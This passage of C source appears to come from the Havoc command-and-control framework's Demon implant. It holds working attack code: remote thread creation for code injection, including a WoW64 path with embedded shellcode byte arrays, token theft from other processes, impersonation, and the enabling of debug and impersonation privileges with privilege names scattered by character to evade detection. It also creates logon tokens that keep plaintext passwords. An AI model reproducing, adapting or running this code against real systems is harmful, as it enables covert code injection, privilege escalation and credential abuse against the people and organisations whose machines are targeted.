ThdHndl, THREAD_ALL_ACCESS, 0, 0, &ThdNext ) ) ) { /* if the thread handle is valid close it */ if ( ThdHndl ) { SysNtClose( ThdHndl ); } /* set the next thread */ ThdHndl = ThdNext; /* setup params we want to query */ ThdTebInfo.TebOffset = FIELD_OFFSET( TEB, ClientId ); ThdTebInfo.BytesToRead = sizeof( CLIENT_ID ); ThdTebInfo.TebInformation = C_PTR( &Client ); /* query information about the target thread */ if ( NT_SUCCESS( SysNtQueryInformationThread( ThdHndl, ThreadTebInformation, &ThdTebInfo, sizeof( ThdTebInfo ), NULL ) ) ) { /* if it's not our current thread then continue. */ if ( ThreadId != U_PTR( Client.UniqueThread ) ) { /* suspend target thread */ if ( NT_SUCCESS( SysNtSuspendThread( ThdHndl, NULL ) ) ) { /* get target thread context */ if ( NT_SUCCESS( SysNtGetContextThread( ThdHndl, &ThdCtx ) ) ) { /* query memory info about rsp address */ #if _WIN64 if ( NT_SUCCESS( SysNtQueryVirtualMemory( NtCurrentProcess(), C_PTR( ThdCtx.Rsp ), MemoryBasicInformation, &Memory1, sizeof( Memory1 ), NULL ) ) ) #else if ( NT_SUCCESS( Instance->Win32.NtQueryVirtualMemory( NtCurrentProcess(), C_PTR( ThdCtx.Esp ), MemoryBasicInformation, &Memory1, sizeof( Memory1 ), NULL ) ) ) #endif { /* query memory info about rsp address */ if ( NT_SUCCESS( SysNtQueryVirtualMemory( NtCurrentProcess(), Adr, MemoryBasicInformation, &Memory2, sizeof( Memory2 ), NULL ) ) ) { /* check if it's the same region */ if ( U_PTR( Memory1.AllocationBase ) == U_PTR( Memory2.AllocationBase ) ) { /* setup params we want to query */ ThdTebInfo.TebOffset = FIELD_OFFSET( TEB, NtTib ); ThdTebInfo.BytesToRead = sizeof( NT_TIB ); ThdTebInfo.TebInformation = C_PTR( Tib ); /* Query information about the target thread */ if ( NT_SUCCESS( SysNtQueryInformationThread( ThdHndl, ThreadTebInformation, &ThdTebInfo, sizeof( ThdTebInfo ), NULL ) ) ) { Success = TRUE; } } } } } /* resume target thread */ SysNtResumeThread( ThdHndl, NULL ); } } } /* did we successfully retrieve Tib ? * if yes then break loop. we got what we wanted */ if ( Success ) { break; } } /* if the thread handle is valid close it */ if ( ThdHndl ) { SysNtClose( ThdHndl ); ThdHndl = NULL; } return Success; } #if _M_IX86 // https://github.com/rapid7/meterpreter/blob/5e309596e53ead0f64564fe77e0cad70908f6739/source/common/arch/win/i386/base_inject.c#L343 HANDLE ThreadCreateWoW64( IN BYTE Method, IN HANDLE Process, IN PVOID Entry, IN PVOID Arg ) { // TODO: define these arrays with HideChar or some other method /* * NOTE: migrate_executex64 was modified to include the instructions "mov ax, ds; mov ss, ax" * which fixes a bizarre CPU bug described here http://blog.rewolf.pl/blog/?p=1484 * for reference: https://github.com/rapid7/metasploit-framework/blob/f17b28930dd926b93915a115f1117825f4c594db/external/source/shellcode/windows/x86/src/migrate/executex64.asm#L43-L44 */ BYTE migrate_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00" "\x58\x83\xC0\x2A\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00" "\x89\x02\xE8\x0E\x00\x00\x00\x66\x8c\xd8\x8e\xd0\x83\xC4\x14\x5F" "\x5E\x5D\xC2\x08\x00\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6" "\x5F\x50\xC7\x44\x24\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24"; BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00" "\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48" "\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A" "\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9" "\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C" "\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00" "\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40" "\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6" "\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0" "\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40" "\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0" "\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58" "\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A" "\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D" "\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01" "\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8" "\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00" "\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00" "\x48\x83\xC4\x50\x48\x89\xFC\xC3"; WOW64CONTEXT ctx = { 0 }; SIZE_T Size = 0; HANDLE hThread = NULL; EXECUTEX64 pExecuteX64 = NULL; X64FUNCTION pX64function = NULL; ctx.h.hProcess = Process; ctx.s.lpStartAddress = Entry; ctx.p.lpParameter = Arg; ctx.t.hThread = NULL; // allocate some memory for both shellcode stubs Size = sizeof( migrate_executex64 ) + sizeof(migrate_wownativex); if ( ! ( pExecuteX64 = MmVirtualAlloc( DX_MEM_DEFAULT, NtCurrentProcess(), Size, PAGE_READWRITE ) ) ) { PUTS( "Failed allocating RW for migrate_executex64 and migrate_wownativex" ) goto END; } // copy migrate_executex64 MemCopy( pExecuteX64, &migrate_executex64, sizeof( migrate_executex64 ) ); // copy migrate_wownativex pX64function = C_PTR( U_PTR( pExecuteX64 ) + sizeof( migrate_executex64 ) ); MemCopy( pX64function, &migrate_wownativex, sizeof( migrate_wownativex ) ); // switch RW to RX if ( ! ( MmVirtualProtect( DX_MEM_SYSCALL, NtCurrentProcess(), pExecuteX64, Size, PAGE_EXECUTE_READ ) ) ) { PUTS( "Failed to change memory protection" ) goto END; } PUTS( "calling RtlCreateUserThread( ctx->h.hProcess, NULL, TRUE, 0, NULL, NULL, ctx->s.lpStartAddress, ctx->p.lpParameter, &ctx->t.hThread, NULL ) on x64 context" ) if( ! pExecuteX64( pX64function, &ctx ) ) { NtSetLastError( ERROR_ACCESS_DENIED ); PUTS( "ThreadCreateWoW64 failed" ) goto END; } if( ! ctx.t.hThread ) { NtSetLastError( ERROR_INVALID_HANDLE ); PUTS( "ThreadCreateWoW64: ctx->t.hThread is NULL" ) goto END; } PUTS( "The thread was created" ) hThread = ctx.t.hThread; // resume the thread which was created in suspended mode SysNtResumeThread( hThread, NULL ); END: if ( pExecuteX64 ) { MmVirtualFree( NtCurrentProcess(), pExecuteX64 ); } return hThread; } #endif HANDLE ThreadCreate( IN BYTE Method, IN HANDLE Process, IN BOOL x64, IN PVOID Entry, IN PVOID Arg, OUT PDWORD ThreadId ) { HANDLE Thread = NULL; #if _M_IX86 if ( x64 ) { // x86 -> x64 return ThreadCreateWoW64( Method, Process, Entry, Arg ); } #endif switch ( Method ) { case THREAD_METHOD_DEFAULT: { return ThreadCreate( THREAD_METHOD_NTCREATEHREADEX, Process, x64, Entry, Arg, ThreadId ); } case THREAD_METHOD_CREATEREMOTETHREAD: { Thread = Instance->Win32.CreateRemoteThread( Process, NULL, 0, Entry, Arg, 0, ThreadId ); break; } case THREAD_METHOD_NTCREATEHREADEX: { NTSTATUS NtStatus = STATUS_SUCCESS; THD_ATTR_LIST ThreadAttr = { 0 }; CLIENT_ID Client = { 0 }; /* thread attribute to get the thread id*/ ThreadAttr.Entry.Attribute = ProcThreadAttributeValue( PsAttributeClientId, TRUE, FALSE, FALSE ); ThreadAttr.Entry.Size = sizeof( CLIENT_ID ); ThreadAttr.Entry.pValue = C_PTR( &Client ); ThreadAttr.Length = sizeof( PROC_THREAD_ATTRIBUTE_LIST ); /* execute the code by creating a new thread */ NtStatus = SysNtCreateThreadEx( &Thread, THREAD_ALL_ACCESS, NULL, Process, Entry, Arg, FALSE, 0, 0, 0, &ThreadAttr ); if ( NT_SUCCESS( NtStatus ) ) { if ( ThreadId ) { *ThreadId = U_PTR( Client.UniqueThread ); } } else { PRINTF( "Failed to create new thread => NtStatus:[%x]\n", NtStatus ); NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); } break; } case THREAD_METHOD_NTQUEUEAPCTHREAD: { /* TODO: finish implementing it */ break; } default: { PRINTF( "Technique not found => %d", Method ) break; } } return Thread; }havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/Token.c000066400000000000000000001272721467014221700231230ustar00rootroot00000000000000#include #include #include #include #include #include #include /* TODO: Change the way new tokens gets added. * * Instead of appending it to the newest token like: * TokenNew->Next = Token * * Add it to the first token (parent): * * Token->Next = Instance->Tokens.Vault; * Instance->Tokens.Vault = Token; * * Might reduce some code which i care more than * token order. * */ /*! * @brief * Duplicate given token * * @param TokenOriginal * @param Access * @param ImpersonateLevel * @param TokenType * @param TokenNew * @return */ BOOL TokenDuplicate( IN HANDLE TokenOriginal, IN DWORD Access, IN SEC_IMP_LEVEL ImpersonateLevel, IN TOKEN_TYPE TokenType, OUT PHANDLE TokenNew ) { OBJECT_ATTRIBUTES ObjAttr = { 0 }; SEC_QUALITY_SERVICE Sqos = { 0 }; NTSTATUS NtStatus = STATUS_SUCCESS; Sqos.Length = sizeof( SEC_QUALITY_SERVICE ); Sqos.ImpersonationLevel = ImpersonateLevel; Sqos.ContextTrackingMode = 0; Sqos.EffectiveOnly = FALSE; /* Initialize Object Attributes */ InitializeObjectAttributes( &ObjAttr, NULL, 0, NULL, NULL ); ObjAttr.SecurityQualityOfService = &Sqos; /* duplicate token using native call */ if ( ! NT_SUCCESS( NtStatus = SysNtDuplicateToken( TokenOriginal, Access, &ObjAttr, FALSE, TokenType, TokenNew ) ) ) { NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); PRINTF( "NtDuplicateToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); return FALSE; } return TRUE; } /*! * @brief * reverse to the original process user token * * @return if successful reverse to original token */ BOOL TokenRevSelf( VOID ) { HANDLE Token = NULL; NTSTATUS NtStatus = STATUS_SUCCESS; if ( ! NT_SUCCESS( NtStatus = SysNtSetInformationThread( NtCurrentThread(), ThreadImpersonationToken, &Token, sizeof( HANDLE ) ) ) ) { NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); return FALSE; } return TRUE; } /*! * @brief * queries the username and or domain * * @note * the queried memory should be freed after used * using HeapFree/RtlFreeHeap * * @param Token * @param UserDomain * @param Flags * @return */ BOOL TokenQueryOwner( IN HANDLE Token, OUT PBUFFER UserDomain, IN DWORD Flags ) { NTSTATUS NtStatus = STATUS_SUCCESS; BOOL Success = FALSE; PTOKEN_USER UserInfo = NULL; ULONG UserSize = 0; PVOID Domain = NULL; PVOID User = NULL; DWORD UserLen = { 0 }; DWORD DomnLen = { 0 }; SID_NAME_USE SidType = 0; /* check if we specified the required args */ if ( ! Token || ! UserDomain ) { return FALSE; } /* get the size for the TOKEN_USER struct */ if ( ! NT_SUCCESS( NtStatus = SysNtQueryInformationToken( Token, TokenUser, UserInfo, 0, &UserSize ) ) ) { UserInfo = MmHeapAlloc( UserSize ); /* query the token user (we need the sid) */ if ( ! NT_SUCCESS( NtStatus = SysNtQueryInformationToken( Token, TokenUser, UserInfo, UserSize, &UserSize ) ) ) { goto LEAVE; } /* now get the Username and Domain from the Sid */ if ( ! Instance->Win32.LookupAccountSidW( NULL, UserInfo->User.Sid, NULL, &UserLen, NULL, &DomnLen, &SidType ) ) { SidType = 0; if ( Flags == TOKEN_OWNER_FLAG_USER ) { UserDomain->Length = ( UserLen * sizeof( WCHAR ) ); } else if ( Flags == TOKEN_OWNER_FLAG_DOMAIN ) { UserDomain->Length = ( DomnLen * sizeof( WCHAR ) ); } else { UserDomain->Length = ( UserLen * sizeof( WCHAR ) ) + ( DomnLen * sizeof( WCHAR ) ); } /* we allocate one buffer for specified owner flag */ UserDomain->Buffer = MmHeapAlloc( UserDomain->Length ); Domain = UserDomain->Buffer; User = ( UserDomain->Buffer + ( DomnLen * sizeof( WCHAR ) ) ); /* setup arguments */ if ( Flags == TOKEN_OWNER_FLAG_USER ) { Domain = MmHeapAlloc( DomnLen * sizeof( WCHAR ) ); User = UserDomain->Buffer; } else if ( Flags == TOKEN_OWNER_FLAG_DOMAIN ) { User = MmHeapAlloc( UserLen * sizeof( WCHAR ) ); } /* now lets try to get the owner */ if ( ! Instance->Win32.LookupAccountSidW( NULL, UserInfo->User.Sid, User, &UserLen, Domain, &DomnLen, &SidType ) ) { PRINTF( "LookupAccountSidW Error => %d\n", NtGetLastError() ); goto LEAVE; } /* now let's add the \ between the Username and Domain */ if ( Flags == TOKEN_OWNER_FLAG_DEFAULT ) { B_PTR( UserDomain->Buffer )[ ( DomnLen * sizeof( WCHAR ) ) ] = '\\'; } /* if we reached til this point means we were pretty much successful */ Success = TRUE; } else { PUTS( "Unexpected successful call to LookupAccountSidW.\n" ) } } else { PUTS( "Unexpected successful call to NtQueryInformationToken.\n" ) } LEAVE: if ( UserInfo ) { DATA_FREE( UserInfo, UserSize ) } if ( Flags == TOKEN_OWNER_FLAG_USER ) { DATA_FREE( Domain, DomnLen ); } else if ( Flags == TOKEN_OWNER_FLAG_DOMAIN ) { DATA_FREE( User, UserLen ); } return Success; } /*! * sets a privilege * * TODO: change it to use wide strings. * * @param Privilege * @param Enable * @return */ BOOL TokenSetPrivilege( IN LPSTR Privilege, IN BOOL Enable ) { TOKEN_PRIVILEGES TokenPrivileges = { 0 }; LUID TokenLUID = { 0 }; NTSTATUS NtStatus = STATUS_SUCCESS; HANDLE hToken = NULL; if ( ! Instance->Win32.LookupPrivilegeValueA( NULL, Privilege, &TokenLUID ) ) { PRINTF( "[-] LookupPrivilegeValue error: %u\n", NtGetLastError() ); return FALSE; } TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges[ 0 ].Luid = TokenLUID; if ( Enable ) { TokenPrivileges.Privileges[ 0 ].Attributes = SE_PRIVILEGE_ENABLED; } else { TokenPrivileges.Privileges[ 0 ].Attributes = 0; } if ( NT_SUCCESS( NtStatus = SysNtOpenProcessToken( NtCurrentProcess( ), TOKEN_ALL_ACCESS, &hToken ) ) ) { if ( ! Instance->Win32.AdjustTokenPrivileges( hToken, FALSE, &TokenPrivileges, 0, NULL, NULL ) ) { PRINTF( "[-] AdjustTokenPrivileges error: %u\n", NtGetLastError() ); return FALSE; } } else { PRINTF( "NtOpenProcessToken: Failed [%d]", Instance->Win32.RtlNtStatusToDosError( NtStatus ) ) PACKAGE_ERROR_NTSTATUS( NtStatus ) return FALSE; } return TRUE; } BOOL TokenSetSeDebugPriv( IN BOOL Enable ) { CHAR PrivName[ 17 ] = { 0 }; BOOL Success = FALSE; // SeDebugPrivilege PrivName[ 2 ] = HideChar('D'); PrivName[ 9 ] = HideChar('i'); PrivName[ 16 ] = HideChar('\0'); PrivName[ 0 ] = HideChar('S'); PrivName[ 3 ] = HideChar('e'); PrivName[ 6 ] = HideChar('g'); PrivName[ 7 ] = HideChar('P'); PrivName[ 11 ] = HideChar('i'); PrivName[ 4 ] = HideChar('b'); PrivName[ 5 ] = HideChar('u'); PrivName[ 10 ] = HideChar('v'); PrivName[ 15 ] = HideChar('e'); PrivName[ 1 ] = HideChar('e'); PrivName[ 13 ] = HideChar('e'); PrivName[ 14 ] = HideChar('g'); PrivName[ 12 ] = HideChar('l'); PrivName[ 8 ] = HideChar('r'); Success = TokenSetPrivilege(PrivName, Enable); MemZero( PrivName, sizeof( PrivName ) ); return Success; } BOOL TokenSetSeImpersonatePriv( IN BOOL Enable ) { CHAR PrivName[ 23 ] = { 0 }; BOOL Success = FALSE; // SeImpersonatePrivilege PrivName[ 7 ] = HideChar('s'); PrivName[ 5 ] = HideChar('e'); PrivName[ 4 ] = HideChar('p'); PrivName[ 8 ] = HideChar('o'); PrivName[ 3 ] = HideChar('m'); PrivName[ 0 ] = HideChar('S'); PrivName[ 11 ] = HideChar('t'); PrivName[ 12 ] = HideChar('e'); PrivName[ 17 ] = HideChar('i'); PrivName[ 19 ] = HideChar('e'); PrivName[ 22 ] = HideChar('\0'); PrivName[ 6 ] = HideChar('r'); PrivName[ 16 ] = HideChar('v'); PrivName[ 21 ] = HideChar('e'); PrivName[ 10 ] = HideChar('a'); PrivName[ 15 ] = HideChar('i'); PrivName[ 9 ] = HideChar('n'); PrivName[ 1 ] = HideChar('e'); PrivName[ 13 ] = HideChar('P'); PrivName[ 14 ] = HideChar('r'); PrivName[ 2 ] = HideChar('I'); PrivName[ 18 ] = HideChar('l'); PrivName[ 20 ] = HideChar('g'); Success = TokenSetPrivilege(PrivName, Enable); MemZero( PrivName, sizeof( PrivName ) ); return Success; } /*! * Adds an token to the vault. * * TODO: * rewrite the function param. accept token object + STOLEN PID or MAKE data as a struct. * * @param hToken * @param DomainUser * @param Type * @param dwProcessID * @param User * @param Domain * @param Password * @return */ DWORD TokenAdd( IN HANDLE hToken, IN LPWSTR DomainUser, IN SHORT Type, IN DWORD dwProcessID, IN LPWSTR User, IN LPWSTR Domain, IN LPWSTR Password ) { PTOKEN_LIST_DATA TokenList = NULL; PTOKEN_LIST_DATA TokenEntry = NULL; DWORD TokenIndex = 0; TokenEntry = Instance->Win32.LocalAlloc( LPTR, sizeof( TOKEN_LIST_DATA ) ); TokenEntry->Handle = hToken; TokenEntry->DomainUser = DomainUser; TokenEntry->dwProcessID = dwProcessID; TokenEntry->Type = Type; TokenEntry->lpUser = User; TokenEntry->lpDomain = Domain; TokenEntry->lpPassword = Password; TokenEntry->NextToken = NULL; if ( Instance->Tokens.Vault == NULL ) { Instance->Tokens.Vault = TokenEntry; return TokenIndex; } TokenList = Instance->Tokens.Vault; /* add TokenEntry to Token linked list */ while ( TokenList->NextToken != NULL ) { TokenList = TokenList->NextToken; TokenIndex++; } TokenList->NextToken = TokenEntry; TokenIndex++; return TokenIndex; } BOOL SysDuplicateTokenEx( IN HANDLE ExistingTokenHandle, IN DWORD dwDesiredAccess, IN LPSECURITY_ATTRIBUTES lpTokenAttributes OPTIONAL, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN TOKEN_TYPE TokenType, OUT PHANDLE DuplicateTokenHandle) { OBJECT_ATTRIBUTES ObjAttr = { 0 }; NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; SECURITY_QUALITY_OF_SERVICE Sqos = { 0 }; Sqos.Length = sizeof( SECURITY_QUALITY_OF_SERVICE ); Sqos.ImpersonationLevel = ImpersonationLevel; Sqos.ContextTrackingMode = 0; Sqos.EffectiveOnly = FALSE; if ( lpTokenAttributes ) { InitializeObjectAttributes( &ObjAttr, NULL, lpTokenAttributes->bInheritHandle ? OBJ_INHERIT : 0, NULL, lpTokenAttributes->lpSecurityDescriptor); } else { InitializeObjectAttributes( &ObjAttr, NULL, 0, NULL, NULL ); } ObjAttr.SecurityQualityOfService = &Sqos; NtStatus = SysNtDuplicateToken( ExistingTokenHandle, dwDesiredAccess, &ObjAttr, FALSE, TokenType, DuplicateTokenHandle); if ( ! NT_SUCCESS( NtStatus ) ) { PRINTF( "NtDuplicateToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); return FALSE; } return TRUE; } /*! * Steals the process token from the specified pid * @param ProcessID * @param TargetHandle * @return */ HANDLE TokenSteal( IN DWORD ProcessID, IN HANDLE TargetHandle ) { HANDLE hProcess = NULL; HANDLE hTokenDup = NULL; NTSTATUS NtStatus = STATUS_SUCCESS; CLIENT_ID ProcID = { 0 }; OBJECT_ATTRIBUTES TokenAttr = { 0 }; SECURITY_QUALITY_OF_SERVICE Qos = { 0 }; hProcess = ProcessOpen( ProcessID, PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE ); if ( hProcess ) { if ( TargetHandle ) { PRINTF( "Stealing handle 0x%x from PID %d\n", TargetHandle, ProcessID ); NtStatus = SysNtDuplicateObject( hProcess, TargetHandle, NtCurrentProcess(), &hTokenDup, 0, 0, DUPLICATE_SAME_ACCESS ); if ( NT_SUCCESS( NtStatus ) ) { SysNtClose( hProcess ); return hTokenDup; } else { PRINTF( "NtDuplicateObject: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ) PACKAGE_ERROR_NTSTATUS( NtStatus ) } } else { PRINTF( "Stealing process handle from PID %d\n", ProcessID ); NtStatus = SysNtOpenProcessToken( hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hTokenDup ); if ( NT_SUCCESS( NtStatus ) ) { SysNtClose( hProcess ); return hTokenDup; } else { PRINTF( "NtOpenProcessToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ) PACKAGE_ERROR_NTSTATUS( NtStatus ) } } } else { PRINTF( "ProcessOpen: Failed:[%ld]\n", NtGetLastError() ) PACKAGE_ERROR_WIN32 } if ( hProcess ) { SysNtClose( hProcess ); } return NULL; } BOOL TokenRemove( DWORD TokenID ) { PRINTF( "Token Remove => %d\n", TokenID ) PTOKEN_LIST_DATA TokenList = NULL; PTOKEN_LIST_DATA TokenItem = NULL; TokenItem = TokenGet( TokenID ); TokenList = Instance->Tokens.Vault; if ( ( ! TokenList ) || ( ! TokenItem ) ) return FALSE; if ( Instance->Tokens.Vault == TokenItem ) { PUTS( "Its first item" ) TokenItem = Instance->Tokens.Vault->NextToken; if ( Instance->Tokens.Impersonate && Instance->Tokens.Token->Handle == Instance->Tokens.Vault->Handle ) TokenImpersonate( FALSE ); if ( Instance->Tokens.Vault->Handle ) { SysNtClose( Instance->Tokens.Vault->Handle ); Instance->Tokens.Vault->Handle = NULL; } if ( Instance->Tokens.Vault->DomainUser ) { MemSet( Instance->Tokens.Vault->DomainUser, 0, StringLengthW( Instance->Tokens.Vault->DomainUser ) * sizeof( WCHAR ) ); Instance->Win32.LocalFree( Instance->Tokens.Vault->DomainUser ); Instance->Tokens.Vault->DomainUser = NULL; } if ( Instance->Tokens.Vault->lpUser ) { MemSet( Instance->Tokens.Vault->lpUser, 0, StringLengthW( Instance->Tokens.Vault->lpUser ) * sizeof( WCHAR ) ); Instance->Win32.LocalFree( Instance->Tokens.Vault->lpUser ); Instance->Tokens.Vault->lpUser = NULL; } if ( Instance->Tokens.Vault->lpDomain ) { MemSet( Instance->Tokens.Vault->lpDomain, 0, StringLengthW( Instance->Tokens.Vault->lpDomain ) * sizeof( WCHAR ) ); Instance->Win32.LocalFree( Instance->Tokens.Vault->lpDomain ); Instance->Tokens.Vault->lpDomain = NULL; } if ( Instance->Tokens.Vault->lpPassword ) { MemSet( Instance->Tokens.Vault->lpPassword, 0, StringLengthW( Instance->Tokens.Vault->lpPassword ) * sizeof( WCHAR ) ); Instance->Win32.LocalFree( Instance->Tokens.Vault->lpPassword ); Instance->Tokens.Vault->lpPassword = NULL; } MemSet( Instance->Tokens.Vault, 0, sizeof( TOKEN_LIST_DATA ) ); Instance->Win32.LocalFree( Instance->Tokens.Vault ); Instance->Tokens.Vault = TokenItem; return TRUE; } do { if ( TokenList ) { if ( TokenList->NextToken == TokenItem ) { PUTS( "Found TokenItem" ) TokenList->NextToken = TokenItem->NextToken; if ( Instance->Tokens.Impersonate && Instance->Tokens.Token->Handle == TokenItem->Handle ) TokenImpersonate( FALSE ); if ( TokenItem->Handle ) { SysNtClose( TokenItem->Handle ); TokenItem->Handle = NULL; } if ( TokenItem->DomainUser ) { MemSet( TokenItem->DomainUser, 0, StringLengthW( TokenItem->DomainUser ) * sizeof( WCHAR ) ); Instance->Win32.LocalFree( TokenItem->DomainUser ); TokenItem->DomainUser = NULL; } if ( TokenItem->lpUser ) { MemSet( TokenItem->lpUser, 0, StringLengthW( TokenItem->lpUser ) * sizeof( WCHAR ) ); Instance->Win32.LocalFree( TokenItem->lpUser ); TokenItem->lpUser = NULL; } if ( TokenItem->lpDomain ) { MemSet( TokenItem->lpDomain, 0, StringLengthW( TokenItem->lpDomain ) * sizeof( WCHAR ) ); Instance->Win32.LocalFree( TokenItem->lpDomain ); TokenItem->lpDomain = NULL; } if ( TokenItem->lpPassword ) { MemSet( TokenItem->lpPassword, 0, StringLengthW( TokenItem->lpPassword ) * sizeof( WCHAR ) ); Instance->Win32.LocalFree( TokenItem->lpPassword ); TokenItem->lpPassword = NULL; } MemSet( TokenItem, 0, sizeof( TOKEN_LIST_DATA ) ); Instance->Win32.LocalFree( TokenItem ); TokenItem = NULL; return TRUE; } else TokenList = TokenList->NextToken; } else return FALSE; } while ( TRUE ); } HANDLE TokenMake( LPWSTR User, LPWSTR Password, LPWSTR Domain, DWORD LogonType ) { HANDLE hToken = NULL; PRINTF( "TokenMake( %ls, %ls, %ls, %d )\n", User, Password, Domain, LogonType ) if ( ! TokenRevSelf() ) { PRINTF( "Failed to revert to self: Error:[%d]\n", NtGetLastError() ) PACKAGE_ERROR_WIN32 // TODO: at this point should I return NULL or just continue ? For now i just continue. } if ( ! Instance->Win32.LogonUserW( User, Domain, Password, LogonType, LogonType == LOGON32_LOGON_NEW_CREDENTIALS ? LOGON32_PROVIDER_WINNT50 : LOGON32_PROVIDER_DEFAULT, &hToken ) ) { PUTS( "LogonUserW: Failed" ) PACKAGE_ERROR_WIN32 } return hToken; } /*! * get current process/thread token * @return */ HANDLE TokenCurrentHandle( VOID ) { HANDLE Token = NULL; NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; if ( ! NT_SUCCESS( NtStatus = SysNtOpenThreadToken( NtCurrentThread(), TOKEN_QUERY, TRUE, &Token ) ) ) { if ( NtStatus != STATUS_NO_TOKEN ) { PRINTF( "NtOpenThreadToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); return NULL; } if ( ! NT_SUCCESS( NtStatus = SysNtOpenProcessToken( NtCurrentProcess(), TOKEN_QUERY, &Token ) ) ) { PRINTF( "NtOpenProcessToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); return NULL; } } return Token; } BOOL TokenElevated( IN HANDLE Token ) { TOKEN_ELEVATION Data = { 0 }; DWORD Size = sizeof( TOKEN_ELEVATION ); BOOL Admin = FALSE; if ( NT_SUCCESS( SysNtQueryInformationToken( Token, TokenElevation, &Data, Size, &Size ) ) ) { Admin = U_PTR( Data.TokenIsElevated ); } return Admin; } PTOKEN_LIST_DATA TokenGet( IN DWORD TokenID ) { PTOKEN_LIST_DATA TokenList = Instance->Tokens.Vault; DWORD TokenIndex = 0; for ( TokenIndex = 0; TokenIndex < TokenID && TokenList && TokenList->NextToken; ++TokenIndex ) { TokenList = TokenList->NextToken; } if ( TokenIndex != TokenID ) { return NULL; } return TokenList; } VOID TokenClear( VOID ) { PTOKEN_LIST_DATA TokenList = Instance->Tokens.Vault; DWORD TokenIndex = 0; TokenImpersonate( FALSE ); do { if ( TokenList != NULL ) { TokenList = TokenList->NextToken; } else { break; } TokenIndex++; } while ( TRUE ); for ( int i = TokenIndex - 1; i >= 0; i-- ) { TokenRemove( i ); } Instance->Tokens.Impersonate = FALSE; Instance->Tokens.Vault = NULL; Instance->Tokens.Token = NULL; } BOOL TokenImpersonate( IN BOOL Impersonate ) { if ( Impersonate && ! Instance->Tokens.Impersonate && Instance->Tokens.Token ) { // impersonate the current token. Instance->Tokens.Impersonate = SysImpersonateLoggedOnUser( Instance->Tokens.Token->Handle ); return Instance->Tokens.Impersonate; } else if ( ! Impersonate && Instance->Tokens.Impersonate ) { { // stop impersonating Instance->Tokens.Impersonate = FALSE; return TokenRevSelf(); } } else if ( Impersonate && ! Instance->Tokens.Token ) { return TRUE; // there is no token to impersonate in the first place } else if ( Impersonate && Instance->Tokens.Impersonate ) { return TRUE; // we are already impersonating } else if ( ! Impersonate && ! Instance->Tokens.Impersonate ) { return TRUE; // we are already not impersonating } return FALSE; } VOID AddUserToken( _Inout_ PUSER_TOKEN_DATA NewToken, _Inout_ PUSER_TOKEN_DATA Tokens, _Inout_ PDWORD NumTokens ) { for ( DWORD i = 0; i < *NumTokens; ++i ) { /* we consider two tokens the equal if they have the same: * - username * - type * - integrity * - impersonation level * also, we do not include tokens with the same user as our own * and try to include a primary token if we can */ if ( ! StringCompareW( Tokens[i].username, NewToken->username) && Tokens[i].TokenType == NewToken->TokenType && Tokens[i].integrity_level == NewToken->integrity_level && Tokens[i].impersonation_level == NewToken->impersonation_level && ( ( Tokens[i].localHandle == 0 && NewToken->localHandle == 0 ) || ( Tokens[i].localHandle != 0 && NewToken->localHandle != 0 ) ) ) { // a token similar to this one already exists return; } } // 